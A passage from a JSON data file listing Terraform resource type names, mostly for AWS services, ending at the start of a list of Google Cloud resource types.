"aws_waf_byte_match_set", "aws_waf_geo_match_set", "aws_waf_ipset", "aws_waf_rate_based_rule", "aws_waf_regex_match_set", "aws_waf_regex_pattern_set", "aws_waf_rule", "aws_waf_rule_group", "aws_waf_size_constraint_set", "aws_waf_sql_injection_match_set", "aws_waf_web_acl", "aws_waf_xss_match_set", "aws_wafregional_byte_match_set", "aws_wafregional_geo_match_set", "aws_wafregional_ipset", "aws_wafregional_rate_based_rule", "aws_wafregional_regex_match_set", "aws_wafregional_regex_pattern_set", "aws_wafregional_rule", "aws_wafregional_rule_group", "aws_wafregional_size_constraint_set", "aws_wafregional_sql_injection_match_set", "aws_wafregional_web_acl", "aws_wafregional_web_acl_association", "aws_wafregional_xss_match_set", "aws_wafv2_ip_set", "aws_wafv2_regex_pattern_set", "aws_wafv2_rule_group", "aws_wafv2_web_acl", "aws_wafv2_web_acl_association", "aws_wafv2_web_acl_logging_configuration", "aws_worklink_fleet", "aws_worklink_website_certificate_authority_association", "aws_workspaces_directory", "aws_workspaces_ip_group", "aws_workspaces_workspace", "aws_xray_sampling_rule", "aws_route53_vpc_association_authorization", "aws_alb", "aws_alb_listener", "aws_alb_listener_certificate", "aws_alb_listener_rule", "aws_alb_target_group", "aws_alb_target_group_attachment", "aws_api_gateway_rest_api_policy", "aws_appmesh_gateway_route", "aws_appmesh_virtual_gateway", "aws_autoscalingplans_scaling_plan", "aws_backup_global_settings", "aws_backup_region_settings", "aws_backup_vault_notifications", "aws_backup_vault_policy", "aws_cloudfront_cache_policy", "aws_cloudfront_origin_request_policy", "aws_cloudfront_realtime_log_config", "aws_cloudwatch_composite_alarm", "aws_cloudwatch_event_archive", "aws_cloudwatch_event_bus", "aws_codeartifact_domain", "aws_codeartifact_domain_permissions_policy", "aws_codeartifact_repository", "aws_codeartifact_repository_permissions_policy", "aws_codebuild_report_group", "aws_codestarconnections_connection", "aws_config_conformance_pack", "aws_config_remediation_configuration", "aws_datasync_location_fsx_windows_file_system", "aws_db_proxy", "aws_db_proxy_default_target_group", "aws_db_proxy_target", "aws_ec2_carrier_gateway", "aws_ec2_managed_prefix_list", "aws_ec2_transit_gateway_prefix_list_reference", "aws_elasticache_global_replication_group", "aws_emr_instance_fleet", "aws_emr_managed_scaling_policy", "aws_fms_policy", "aws_glue_data_catalog_encryption_settings", "aws_glue_dev_endpoint", "aws_glue_ml_transform", "aws_glue_partition", "aws_glue_registry", "aws_glue_resource_policy", "aws_glue_schema", "aws_glue_user_defined_function", "aws_guardduty_filter", "aws_guardduty_publishing_destination", "aws_imagebuilder_component", "aws_imagebuilder_distribution_configuration", "aws_imagebuilder_image", "aws_imagebuilder_image_pipeline", "aws_imagebuilder_image_recipe", "aws_imagebuilder_infrastructure_configuration", "aws_kinesisanalyticsv2_application", "aws_lakeformation_data_lake_settings", "aws_lakeformation_permissions", "aws_lakeformation_resource", "aws_lambda_code_signing_config", "aws_lex_bot", "aws_lex_bot_alias", "aws_lex_intent", "aws_lex_slot_type", "aws_msk_scram_secret_association", "aws_networkfirewall_firewall", "aws_networkfirewall_firewall_policy", "aws_networkfirewall_logging_configuration", "aws_networkfirewall_resource_policy", "aws_networkfirewall_rule_group", "aws_prometheus_workspace", "aws_route53_key_signing_key", "aws_route53_resolver_dnssec_config", "aws_route53_resolver_query_log_config", "aws_route53_resolver_query_log_config_association", "aws_s3_bucket_ownership_controls", "aws_s3_object_copy", "aws_s3control_bucket", "aws_s3control_bucket_lifecycle_configuration", "aws_s3control_bucket_policy", "aws_s3outposts_endpoint", "aws_sagemaker_app_image_config", "aws_sagemaker_code_repository", "aws_sagemaker_domain", "aws_sagemaker_feature_group", "aws_sagemaker_image", "aws_sagemaker_image_version", "aws_sagemaker_model_package_group", "aws_sagemaker_user_profile", "aws_secretsmanager_secret_policy", "aws_securityhub_action_target", "aws_securityhub_invite_accepter", "aws_securityhub_organization_admin_account", "aws_serverlessapplicationrepository_cloudformation_stack", "aws_signer_signing_job", "aws_signer_signing_profile", "aws_signer_signing_profile_permission", "aws_ssoadmin_account_assignment", "aws_ssoadmin_managed_policy_attachment", "aws_ssoadmin_permission_set", "aws_ssoadmin_permission_set_inline_policy", "aws_storagegateway_stored_iscsi_volume", "aws_storagegateway_tape_pool", "aws_synthetics_canary", "aws_xray_encryption_config", "aws_xray_group", "aws_acmpca_certificate", "aws_acmpca_certificate_authority_certificate", "aws_cloudfront_key_group", "aws_cloudwatch_query_definition", "aws_cognito_user_pool_ui_customization", "aws_ecr_registry_policy", "aws_ecr_replication_configuration", "aws_ecrpublic_repository", "aws_eks_addon", "aws_kinesis_stream_consumer", "aws_kinesisanalyticsv2_application_snapshot", "aws_lightsail_instance_public_ports", "aws_mwaa_environment", "aws_route53_hosted_zone_dnssec", "aws_route53_resolver_firewall_domain_list", "aws_route53_resolver_firewall_rule_group", "aws_sagemaker_app", "aws_securityhub_insight", "aws_timestreamwrite_database", "aws_account_alternate_contact", "aws_amplify_app", "aws_amplify_backend_environment", "aws_amplify_branch", "aws_amplify_domain_association", "aws_amplify_webhook", "aws_appconfig_application", "aws_appconfig_configuration_profile", "aws_appconfig_deployment", "aws_appconfig_deployment_strategy", "aws_appconfig_environment", "aws_appconfig_hosted_configuration_version", "aws_apprunner_auto_scaling_configuration_version", "aws_apprunner_connection", "aws_apprunner_custom_domain_association", "aws_apprunner_service", "aws_appstream_directory_config", "aws_appstream_fleet", "aws_appstream_fleet_stack_association", "aws_appstream_image_builder", "aws_appstream_stack", "aws_appstream_user", "aws_appstream_user_stack_association", "aws_autoscaling_group_tag", "aws_backup_vault_lock_configuration", "aws_batch_scheduling_policy", "aws_budgets_budget_action", "aws_chime_voice_connector", "aws_chime_voice_connector_group", "aws_chime_voice_connector_logging", "aws_chime_voice_connector_origination", "aws_chime_voice_connector_streaming", "aws_chime_voice_connector_termination", "aws_chime_voice_connector_termination_credentials", "aws_cloud9_environment_membership", "aws_cloudcontrolapi_resource", "aws_cloudformation_type", "aws_cloudfront_field_level_encryption_config", "aws_cloudfront_field_level_encryption_profile", "aws_cloudfront_function", "aws_cloudfront_monitoring_subscription", "aws_cloudfront_response_headers_policy", "aws_cloudwatch_event_api_destination", "aws_cloudwatch_event_bus_policy", "aws_cloudwatch_event_connection", "aws_cloudwatch_metric_stream", "aws_codebuild_resource_policy", "aws_codecommit_approval_rule_template", "aws_codecommit_approval_rule_template_association", "aws_codestarconnections_host", "aws_config_organization_conformance_pack", "aws_connect_bot_association", "aws_connect_contact_flow", "aws_connect_hours_of_operation", "aws_connect_instance", "aws_connect_lambda_function_association", "aws_datasync_location_fsx_lustre_file_system", "aws_datasync_location_hdfs", "aws_db_proxy_endpoint", "aws_detective_graph", "aws_devicefarm_device_pool", "aws_devicefarm_network_profile", "aws_devicefarm_upload", "aws_docdb_global_cluster", "aws_dx_connection_confirmation", "aws_dx_hosted_connection", "aws_dynamodb_kinesis_streaming_destination", "aws_dynamodb_tag", "aws_ebs_snapshot_import", "aws_ec2_host", "aws_ec2_managed_prefix_list_entry", "aws_ec2_subnet_cidr_reservation", "aws_ecr_pull_through_cache_rule", "aws_ecr_registry_scanning_configuration", "aws_ecrpublic_repository_policy", "aws_ecs_account_setting_default", "aws_ecs_tag", "aws_ecs_task_set", "aws_efs_backup_policy", "aws_eks_identity_provider_config", "aws_elasticache_user", "aws_elasticache_user_group", "aws_elasticsearch_domain_saml_options", "aws_emr_studio", "aws_emr_studio_session_mapping", "aws_fsx_backup", "aws_fsx_ontap_file_system", "aws_fsx_ontap_storage_virtual_machine", "aws_fsx_ontap_volume", "aws_fsx_openzfs_file_system", "aws_fsx_openzfs_snapshot", "aws_fsx_openzfs_volume", "aws_glue_partition_index", "aws_iot_authorizer", "aws_iot_thing_group", "aws_iot_thing_group_membership", "aws_kms_replica_external_key", "aws_kms_replica_key", "aws_lambda_layer_version_permission", "aws_macie2_account", "aws_macie2_classification_job", "aws_macie2_custom_data_identifier", "aws_macie2_findings_filter", "aws_macie2_invitation_accepter", "aws_macie2_member", "aws_macie2_organization_admin_account", "aws_memorydb_acl", "aws_memorydb_cluster", "aws_memorydb_parameter_group", "aws_memorydb_subnet_group", "aws_memorydb_user", "aws_mskconnect_custom_plugin", "aws_mskconnect_worker_configuration", "aws_neptune_cluster_endpoint", "aws_organizations_delegated_administrator", "aws_prometheus_alert_manager_definition", "aws_prometheus_rule_group_namespace", "aws_quicksight_data_source", "aws_quicksight_group_membership", "aws_rds_cluster_role_association", "aws_redshift_scheduled_action", "aws_route53_resolver_firewall_config", "aws_route53_resolver_firewall_rule", "aws_route53_resolver_firewall_rule_group_association", "aws_route53recoverycontrolconfig_cluster", "aws_route53recoverycontrolconfig_control_panel", "aws_route53recoverycontrolconfig_routing_control", "aws_route53recoverycontrolconfig_safety_rule", "aws_route53recoveryreadiness_cell", "aws_route53recoveryreadiness_readiness_check", "aws_route53recoveryreadiness_recovery_group", "aws_route53recoveryreadiness_resource_set", "aws_s3_bucket_intelligent_tiering_configuration", "aws_s3_bucket_replication_configuration", "aws_s3control_access_point_policy", "aws_s3control_multi_region_access_point", "aws_s3control_multi_region_access_point_policy", "aws_s3control_object_lambda_access_point", "aws_s3control_object_lambda_access_point_policy", "aws_sagemaker_device", "aws_sagemaker_device_fleet", "aws_sagemaker_flow_definition", "aws_sagemaker_human_task_ui", "aws_sagemaker_model_package_group_policy", "aws_sagemaker_studio_lifecycle_config", "aws_sagemaker_workforce", "aws_sagemaker_workteam", "aws_schemas_discoverer", "aws_schemas_registry", "aws_schemas_schema", "aws_securityhub_finding_aggregator", "aws_securityhub_organization_configuration", "aws_securityhub_standards_control", "aws_service_discovery_instance", "aws_servicecatalog_budget_resource_association", "aws_servicecatalog_constraint", "aws_servicecatalog_organizations_access", "aws_servicecatalog_portfolio_share", "aws_servicecatalog_principal_portfolio_association", "aws_servicecatalog_product", "aws_servicecatalog_product_portfolio_association", "aws_servicecatalog_provisioned_product", "aws_servicecatalog_provisioning_artifact", "aws_servicecatalog_service_action", "aws_servicecatalog_tag_option", "aws_servicecatalog_tag_option_resource_association", "aws_shield_protection_group", "aws_storagegateway_file_system_association", "aws_timestreamwrite_table", "aws_transfer_access", "aws_vpc_endpoint_connection_accepter", "aws_vpc_ipam", "aws_vpc_ipam_organization_admin_account", "aws_vpc_ipam_pool", "aws_vpc_ipam_pool_cidr", "aws_vpc_ipam_pool_cidr_allocation", "aws_vpc_ipam_preview_next_cidr", "aws_vpc_ipam_scope", "aws_vpc_ipv6_cidr_block_association", "aws_accessanalyzer_archive_rule", "aws_acmpca_policy", "aws_appflow_connector_profile", "aws_appflow_flow", "aws_appintegrations_event_integration", "aws_applicationinsights_application", "aws_apprunner_observability_configuration", "aws_apprunner_vpc_connector", "aws_appsync_api_cache", "aws_appsync_domain_name", "aws_appsync_domain_name_api_association", "aws_athena_data_catalog", "aws_backup_framework", "aws_backup_report_plan", "aws_ce_anomaly_monitor", "aws_ce_anomaly_subscription", "aws_ce_cost_allocation_tag", "aws_ce_cost_category", "aws_cloudsearch_domain", "aws_cloudsearch_domain_service_access_policy", "aws_cloudtrail_event_data_store", "aws_cognito_identity_pool_provider_principal_tag", "aws_cognito_risk_configuration", "aws_cognito_user", "aws_cognito_user_in_group", "aws_connect_contact_flow_module", "aws_connect_queue", "aws_connect_quick_connect", "aws_connect_routing_profile", "aws_connect_security_profile", "aws_connect_user", "aws_connect_user_hierarchy_group", "aws_connect_user_hierarchy_structure", "aws_connect_vocabulary", "aws_dataexchange_data_set", "aws_dataexchange_revision", "aws_datapipeline_pipeline_definition", "aws_datasync_location_fsx_openzfs_file_system", "aws_db_instance_automated_backups_replication", "aws_db_snapshot_copy", "aws_detective_invitation_accepter", "aws_detective_member", "aws_devicefarm_instance_profile", "aws_devicefarm_test_grid_project", "aws_directory_service_shared_directory", "aws_directory_service_shared_directory_accepter", "aws_docdb_event_subscription", "aws_dynamodb_contributor_insights", "aws_ec2_network_insights_path", "aws_ec2_serial_console_access", "aws_ec2_transit_gateway_connect", "aws_ec2_transit_gateway_connect_peer", "aws_ec2_transit_gateway_multicast_domain", "aws_ec2_transit_gateway_multicast_domain_association", "aws_ec2_transit_gateway_multicast_group_member", "aws_ec2_transit_gateway_multicast_group_source", "aws_ecs_cluster_capacity_providers", "aws_efs_replication_configuration", "aws_elasticache_user_group_association", "aws_emrcontainers_virtual_cluster", "aws_emrserverless_application", "aws_fis_experiment_template", "aws_fsx_data_repository_association", "aws_gamelift_game_server_group", "aws_gamelift_script", "aws_grafana_license_association", "aws_grafana_role_association", "aws_grafana_workspace", "aws_grafana_workspace_saml_configuration", "aws_iam_service_specific_credential", "aws_iam_signing_certificate", "aws_iam_virtual_mfa_device", "aws_imagebuilder_container_recipe", "aws_internet_gateway_attachment", "aws_iot_indexing_configuration", "aws_iot_logging_options", "aws_iot_provisioning_template", "aws_iot_topic_rule_destination", "aws_kendra_experience", "aws_kendra_faq", "aws_kendra_index", "aws_kendra_query_suggestions_block_list", "aws_kendra_thesaurus", "aws_keyspaces_keyspace", "aws_keyspaces_table", "aws_lakeformation_lf_tag", "aws_lakeformation_resource_lf_tags", "aws_lambda_function_url", "aws_lambda_invocation", "aws_lightsail_container_service", "aws_lightsail_container_service_deployment_version", "aws_lightsail_database", "aws_location_geofence_collection", "aws_location_map", "aws_location_place_index", "aws_location_route_calculator", "aws_location_tracker", "aws_memorydb_snapshot", "aws_mskconnect_connector", "aws_network_acl_association", "aws_networkmanager_connection", "aws_networkmanager_customer_gateway_association", "aws_networkmanager_device", "aws_networkmanager_global_network", "aws_networkmanager_link", "aws_networkmanager_link_association", "aws_networkmanager_site", "aws_networkmanager_transit_gateway_connect_peer_association", "aws_networkmanager_transit_gateway_registration", "aws_opensearch_domain", "aws_opensearch_domain_policy", "aws_opensearch_domain_saml_options", "aws_opsworks_ecs_cluster_layer", "aws_qldb_stream", "aws_rds_cluster_activity_stream", "aws_redshift_authentication_profile", "aws_redshift_cluster_iam_roles", "aws_redshift_endpoint_access", "aws_redshift_hsm_client_certificate", "aws_redshift_hsm_configuration", "aws_redshift_usage_limit", "aws_redshiftdata_statement", "aws_redshiftserverless_namespace", "aws_rolesanywhere_profile", "aws_rolesanywhere_trust_anchor", "aws_route53_traffic_policy", "aws_route53_traffic_policy_instance", "aws_route53domains_registered_domain", "aws_rum_app_monitor", "aws_s3_bucket_accelerate_configuration", "aws_s3_bucket_acl", "aws_s3_bucket_cors_configuration", "aws_s3_bucket_lifecycle_configuration", "aws_s3_bucket_logging", "aws_s3_bucket_object_lock_configuration", "aws_s3_bucket_request_payment_configuration", "aws_s3_bucket_server_side_encryption_configuration", "aws_s3_bucket_versioning", "aws_s3_bucket_website_configuration", "aws_s3_object", "aws_sagemaker_project", "aws_shield_protection_health_check_association", "aws_transcribe_medical_vocabulary", "aws_transcribe_vocabulary", "aws_transcribe_vocabulary_filter", "aws_transfer_workflow", "aws_vpc_endpoint_policy", "aws_vpc_endpoint_security_group_association", "aws_acmpca_permission", "aws_appconfig_extension", "aws_appconfig_extension_association", "aws_apprunner_vpc_ingress_connection", "aws_auditmanager_account_registration", "aws_auditmanager_control", "aws_auditmanager_framework", "aws_cloudfront_origin_access_control", "aws_cloudwatch_log_data_protection_policy", "aws_codepipeline_custom_action_type", "aws_comprehend_document_classifier", "aws_comprehend_entity_recognizer", "aws_connect_instance_storage_config", "aws_connect_phone_number", "aws_controltower_control", "aws_directory_service_radius_settings", "aws_directory_service_region", "aws_dms_s3_endpoint", "aws_dx_macsec_key_association", "aws_dynamodb_table_replica", "aws_ec2_network_insights_analysis", "aws_ec2_transit_gateway_policy_table", "aws_ec2_transit_gateway_policy_table_association", "aws_evidently_feature", "aws_evidently_project", "aws_evidently_segment", "aws_fsx_file_cache", "aws_grafana_workspace_api_key", "aws_identitystore_group", "aws_identitystore_group_membership", "aws_identitystore_user", "aws_inspector2_delegated_admin_account", "aws_inspector2_enabler", "aws_inspector2_organization_configuration", "aws_ivs_channel", "aws_ivs_playback_key_pair", "aws_ivs_recording_configuration", "aws_ivschat_logging_configuration", "aws_ivschat_room", "aws_kendra_data_source", "aws_kms_custom_key_store", "aws_lightsail_certificate", "aws_lightsail_disk", "aws_lightsail_disk_attachment", "aws_lightsail_domain_entry", "aws_lightsail_lb", "aws_lightsail_lb_attachment", "aws_lightsail_lb_certificate", "aws_lightsail_lb_certificate_attachment", "aws_lightsail_lb_https_redirection_policy", "aws_lightsail_lb_stickiness_policy", "aws_location_tracker_association", "aws_macie2_classification_export_configuration", "aws_medialive_channel", "aws_medialive_input", "aws_medialive_input_security_group", "aws_medialive_multiplex", "aws_medialive_multiplex_program", "aws_msk_serverless_cluster", "aws_neptune_global_cluster", "aws_networkmanager_attachment_accepter", "aws_networkmanager_connect_attachment", "aws_networkmanager_core_network", "aws_networkmanager_site_to_site_vpn_attachment", "aws_networkmanager_transit_gateway_peering", "aws_networkmanager_transit_gateway_route_table_attachment", "aws_networkmanager_vpc_attachment", "aws_opensearch_inbound_connection_accepter", "aws_opensearch_outbound_connection", "aws_rds_reserved_instance", "aws_redshift_endpoint_authorization", "aws_redshift_partner", "aws_redshiftserverless_endpoint_access", "aws_redshiftserverless_resource_policy", "aws_redshiftserverless_snapshot", "aws_redshiftserverless_usage_limit", "aws_redshiftserverless_workgroup", "aws_resourceexplorer2_index", "aws_route53_resolver_config", "aws_rum_metrics_destination", "aws_s3control_storage_lens_configuration", "aws_sagemaker_servicecatalog_portfolio_status", "aws_sagemaker_space", "aws_scheduler_schedule", "aws_scheduler_schedule_group", "aws_schemas_registry_policy", "aws_sesv2_configuration_set", "aws_sesv2_dedicated_ip_assignment", "aws_sesv2_dedicated_ip_pool", "aws_sesv2_email_identity", "aws_sesv2_email_identity_feedback_attributes", "aws_sesv2_email_identity_mail_from_attributes", "aws_sqs_queue_redrive_allow_policy", "aws_sqs_queue_redrive_policy", "aws_ssm_default_patch_baseline", "aws_ssm_service_setting", "aws_ssoadmin_customer_managed_policy_attachment", "aws_ssoadmin_permissions_boundary_attachment", "aws_transcribe_language_model", "aws_transfer_tag", "aws_vpc_network_performance_metric_subscription", "aws_account_primary_contact", "aws_apprunner_default_auto_scaling_configuration_version", "aws_appsync_type", "aws_athena_prepared_statement", "aws_auditmanager_assessment", "aws_auditmanager_assessment_delegation", "aws_auditmanager_assessment_report", "aws_auditmanager_framework_share", "aws_auditmanager_organization_admin_account_registration", "aws_autoscaling_traffic_source_attachment", "aws_bedrock_model_invocation_logging_configuration", "aws_chimesdkmediapipelines_media_insights_pipeline_configuration", "aws_chimesdkvoice_global_settings", "aws_chimesdkvoice_sip_media_application", "aws_chimesdkvoice_sip_rule", "aws_chimesdkvoice_voice_profile_domain", "aws_cleanrooms_collaboration", "aws_cleanrooms_configured_table", "aws_cloudfront_continuous_deployment_policy", "aws_cloudwatch_event_endpoint", "aws_codecatalyst_dev_environment", "aws_codecatalyst_project", "aws_codecatalyst_source_repository", "aws_codeguruprofiler_profiling_group", "aws_codegurureviewer_repository_association", "aws_cognito_managed_user_pool_client", "aws_config_organization_custom_policy_rule", "aws_customerprofiles_domain", "aws_customerprofiles_profile", "aws_datasync_location_azure_blob", "aws_datasync_location_fsx_ontap_file_system", "aws_datasync_location_object_storage", "aws_detective_organization_admin_account", "aws_detective_organization_configuration", "aws_directory_service_trust", "aws_dms_replication_config", "aws_docdbelastic_cluster", "aws_ebs_fast_snapshot_restore", "aws_ec2_image_block_public_access", "aws_ec2_instance_connect_endpoint", "aws_ec2_instance_state", "aws_eks_access_entry", "aws_eks_access_policy_association", "aws_eks_pod_identity_association", "aws_elasticache_serverless_cache", "aws_elasticsearch_vpc_endpoint", "aws_emr_block_public_access_configuration", "aws_emrcontainers_job_template", "aws_evidently_launch", "aws_finspace_kx_cluster", "aws_finspace_kx_database", "aws_finspace_kx_dataview", "aws_finspace_kx_environment", "aws_finspace_kx_scaling_group", "aws_finspace_kx_user", "aws_finspace_kx_volume", "aws_globalaccelerator_custom_routing_accelerator", "aws_globalaccelerator_custom_routing_endpoint_group", "aws_globalaccelerator_custom_routing_listener", "aws_glue_data_quality_ruleset", "aws_guardduty_detector_feature", "aws_guardduty_organization_configuration_feature", "aws_iam_security_token_service_preferences", "aws_imagebuilder_workflow", "aws_inspector2_member_association", "aws_internetmonitor_monitor", "aws_iot_billing_group", "aws_iot_ca_certificate", "aws_iot_domain_configuration", "aws_iot_event_configurations", "aws_kinesis_resource_policy", "aws_kms_key_policy", "aws_lb_trust_store", "aws_lb_trust_store_revocation", "aws_lexv2models_bot", "aws_lexv2models_bot_locale", "aws_lexv2models_bot_version", "aws_lexv2models_intent", "aws_licensemanager_grant", "aws_licensemanager_grant_accepter", "aws_lightsail_bucket", "aws_lightsail_bucket_access_key", "aws_lightsail_bucket_resource_access", "aws_lightsail_distribution", "aws_msk_cluster_policy", "aws_msk_replicator", "aws_msk_vpc_connection", "aws_networkmanager_connect_peer", "aws_networkmanager_core_network_policy_attachment", "aws_oam_link", "aws_oam_sink", "aws_oam_sink_policy", "aws_opensearch_package", "aws_opensearch_package_association", "aws_opensearch_vpc_endpoint", "aws_opensearchserverless_access_policy", "aws_opensearchserverless_collection", "aws_opensearchserverless_lifecycle_policy", "aws_opensearchserverless_security_config", "aws_opensearchserverless_security_policy", "aws_opensearchserverless_vpc_endpoint", "aws_organizations_resource_policy", "aws_pipes_pipe", "aws_prometheus_scraper", "aws_quicksight_folder", "aws_quicksight_folder_membership", "aws_quicksight_vpc_connection", "aws_ram_sharing_with_organization", "aws_rbin_rule", "aws_rds_custom_db_engine_version", "aws_rds_export_task", "aws_redshift_cluster_snapshot", "aws_redshift_resource_policy", "aws_resourceexplorer2_view", "aws_resourcegroups_resource", "aws_route53_cidr_collection", "aws_route53_cidr_location", "aws_s3_directory_bucket", "aws_s3control_access_grant", "aws_s3control_access_grants_instance", "aws_s3control_access_grants_instance_resource_policy", "aws_s3control_access_grants_location", "aws_sagemaker_data_quality_job_definition", "aws_sagemaker_monitoring_schedule", "aws_sagemaker_pipeline", "aws_securitylake_aws_log_source", "aws_securitylake_data_lake", "aws_servicequotas_template", "aws_servicequotas_template_association", "aws_sesv2_account_vdm_attributes", "aws_sesv2_configuration_set_event_destination", "aws_sesv2_contact_list", "aws_sfn_alias", "aws_shield_application_layer_automatic_response", "aws_shield_drt_access_log_bucket_association", "aws_shield_drt_access_role_arn_association", "aws_sns_topic_data_protection_policy", "aws_ssmcontacts_contact", "aws_ssmcontacts_contact_channel", "aws_ssmcontacts_plan", "aws_ssmincidents_replication_set", "aws_ssmincidents_response_plan", "aws_ssoadmin_application", "aws_ssoadmin_application_access_scope", "aws_ssoadmin_application_assignment", "aws_ssoadmin_application_assignment_configuration", "aws_ssoadmin_instance_access_control_attributes", "aws_ssoadmin_trusted_token_issuer", "aws_synthetics_group", "aws_synthetics_group_association", "aws_transfer_agreement", "aws_transfer_certificate", "aws_transfer_connector", "aws_transfer_profile", "aws_verifiedaccess_endpoint", "aws_verifiedaccess_group", "aws_verifiedaccess_instance", "aws_verifiedaccess_instance_logging_configuration", "aws_verifiedaccess_instance_trust_provider_attachment", "aws_verifiedaccess_trust_provider", "aws_verifiedpermissions_policy_store", "aws_verifiedpermissions_policy_template", "aws_verifiedpermissions_schema", "aws_vpc_ipam_resource_discovery", "aws_vpc_ipam_resource_discovery_association", "aws_vpc_security_group_egress_rule", "aws_vpc_security_group_ingress_rule", "aws_vpclattice_access_log_subscription", "aws_vpclattice_auth_policy", "aws_vpclattice_listener", "aws_vpclattice_listener_rule", "aws_vpclattice_resource_policy", "aws_vpclattice_service", "aws_vpclattice_service_network", "aws_vpclattice_service_network_service_association", "aws_vpclattice_service_network_vpc_association", "aws_vpclattice_target_group", "aws_vpclattice_target_group_attachment", "aws_workspaces_connection_alias", "aws_az_info", "aws_caller_info", "aws_region_info", "aws_bedrockagent_agent", "aws_account_region", "aws_api_gateway_domain_name_access_association", "aws_appfabric_app_authorization", "aws_appfabric_app_authorization_connection", "aws_appfabric_app_bundle", "aws_appfabric_ingestion", "aws_appfabric_ingestion_destination", "aws_appintegrations_data_integration", "aws_apprunner_deployment", "aws_appsync_source_api_association", "aws_backup_logically_air_gapped_vault", "aws_backup_restore_testing_plan", "aws_backup_restore_testing_selection", "aws_bcmdataexports_export", "aws_bedrock_custom_model", "aws_bedrock_guardrail", "aws_bedrock_guardrail_version", "aws_bedrock_inference_profile", "aws_bedrock_provisioned_model_throughput", "aws_bedrockagent_agent_action_group", "aws_bedrockagent_agent_alias", "aws_bedrockagent_agent_collaborator", "aws_bedrockagent_agent_knowledge_base_association", "aws_bedrockagent_data_source", "aws_bedrockagent_knowledge_base", "aws_chatbot_slack_channel_configuration", "aws_chatbot_teams_channel_configuration", "aws_cleanrooms_membership", "aws_cloudformation_stack_instances", "aws_cloudfront_key_value_store", "aws_cloudfront_vpc_origin", "aws_cloudfrontkeyvaluestore_key", "aws_cloudtrail_organization_delegated_admin_account", "aws_cloudwatch_log_account_policy", "aws_cloudwatch_log_anomaly_detector", "aws_cloudwatch_log_delivery", "aws_cloudwatch_log_delivery_destination", "aws_cloudwatch_log_delivery_destination_policy", "aws_cloudwatch_log_delivery_source", "aws_cloudwatch_log_index_policy", "aws_codebuild_fleet", "aws_codeconnections_connection", "aws_codeconnections_host", "aws_computeoptimizer_enrollment_status", "aws_computeoptimizer_recommendation_preferences", "aws_config_retention_configuration", "aws_controltower_landing_zone", "aws_costoptimizationhub_enrollment_status", "aws_costoptimizationhub_preferences", "aws_datazone_asset_type", "aws_datazone_domain", "aws_datazone_environment", "aws_datazone_environment_blueprint_configuration", "aws_datazone_environment_profile", "aws_datazone_form_type", "aws_datazone_glossary", "aws_datazone_glossary_term", "aws_datazone_project", "aws_datazone_user_profile", "aws_devopsguru_event_sources_config", "aws_devopsguru_notification_channel", "aws_devopsguru_resource_collection", "aws_devopsguru_service_integration", "aws_drs_replication_configuration_template", "aws_dynamodb_resource_policy", "aws_dynamodb_table_export", "aws_ebs_snapshot_block_public_access", "aws_ec2_capacity_block_reservation", "aws_ec2_instance_metadata_defaults", "aws_ec2_transit_gateway_default_route_table_association", "aws_ec2_transit_gateway_default_route_table_propagation", "aws_ecr_account_setting", "aws_ecr_repository_creation_template", "aws_eip_domain_name", "aws_elasticache_reserved_cache_node", "aws_fms_resource_set", "aws_globalaccelerator_cross_account_attachment", "aws_glue_catalog_table_optimizer", "aws_grafana_workspace_service_account", "aws_grafana_workspace_service_account_token", "aws_guardduty_malware_protection_plan", "aws_guardduty_member_detector_feature", "aws_iam_group_policies_exclusive", "aws_iam_group_policy_attachments_exclusive", "aws_iam_organizations_features", "aws_iam_role_policies_exclusive", "aws_iam_role_policy_attachments_exclusive", "aws_iam_user_policies_exclusive", "aws_iam_user_policy_attachments_exclusive", "aws_imagebuilder_lifecycle_policy", "aws_lakeformation_data_cells_filter", "aws_lakeformation_resource_lf_tag", "aws_lambda_function_recursion_config", "aws_lambda_runtime_management_config", "aws_lexv2models_slot", "aws_lexv2models_slot_type", "aws_m2_application", "aws_m2_deployment", "aws_m2_environment", "aws_media_packagev2_channel_group", "aws_memorydb_multi_region_cluster", "aws_msk_single_scram_secret_association", "aws_networkfirewall_tls_inspection_configuration", "aws_networkmanager_dx_gateway_attachment", "aws_networkmonitor_monitor", "aws_networkmonitor_probe", "aws_opensearch_authorize_vpc_endpoint_access", "aws_osis_pipeline", "aws_paymentcryptography_key", "aws_paymentcryptography_key_alias", "aws_pinpoint_email_template", "aws_pinpointsmsvoicev2_configuration_set", "aws_pinpointsmsvoicev2_opt_out_list", "aws_pinpointsmsvoicev2_phone_number", "aws_quicksight_account_subscription", "aws_quicksight_analysis", "aws_quicksight_dashboard", "aws_quicksight_data_set", "aws_quicksight_iam_policy_assignment", "aws_quicksight_ingestion", "aws_quicksight_namespace", "aws_quicksight_refresh_schedule", "aws_quicksight_template", "aws_quicksight_template_alias", "aws_quicksight_theme", "aws_rds_certificate", "aws_rds_cluster_snapshot_copy", "aws_rds_instance_state", "aws_rds_integration", "aws_redshift_data_share_authorization", "aws_redshift_data_share_consumer_association", "aws_redshift_logging", "aws_redshift_snapshot_copy", "aws_redshiftserverless_custom_domain_association", "aws_rekognition_collection", "aws_rekognition_project", "aws_rekognition_stream_processor", "aws_resiliencehub_resiliency_policy", "aws_route53domains_delegation_signer_record", "aws_route53domains_domain", "aws_route53profiles_association", "aws_route53profiles_profile", "aws_route53profiles_resource_association", "aws_s3tables_namespace", "aws_s3tables_table", "aws_s3tables_table_bucket", "aws_s3tables_table_bucket_policy", "aws_s3tables_table_policy", "aws_sagemaker_hub", "aws_sagemaker_mlflow_tracking_server", "aws_securityhub_automation_rule", "aws_securityhub_configuration_policy", "aws_securityhub_configuration_policy_association", "aws_securityhub_standards_control_association", "aws_securitylake_custom_log_source", "aws_securitylake_subscriber", "aws_securitylake_subscriber_notification", "aws_servicecatalogappregistry_application", "aws_servicecatalogappregistry_attribute_group", "aws_servicecatalogappregistry_attribute_group_association", "aws_sesv2_account_suppression_attributes", "aws_sesv2_email_identity_policy", "aws_shield_proactive_engagement", "aws_shield_subscription", "aws_ssmcontacts_rotation", "aws_ssmquicksetup_configuration_manager", "aws_timestreaminfluxdb_db_instance", "aws_timestreamquery_scheduled_query", "aws_verifiedpermissions_identity_source", "aws_verifiedpermissions_policy", "aws_vpc_block_public_access_exclusion", "aws_vpc_block_public_access_options", "aws_vpc_endpoint_private_dns", "aws_vpc_endpoint_service_private_dns_verification", "aws_vpc_security_group_vpc_association", "aws_vpclattice_resource_configuration", "aws_vpclattice_resource_gateway", "aws_vpclattice_service_network_resource_association" ], "gcp": [ "google_access_context_manager_access_level", "google_project_services", "google_access_context_manager_access_policy", "google_access_context_manager_service_perimeter", 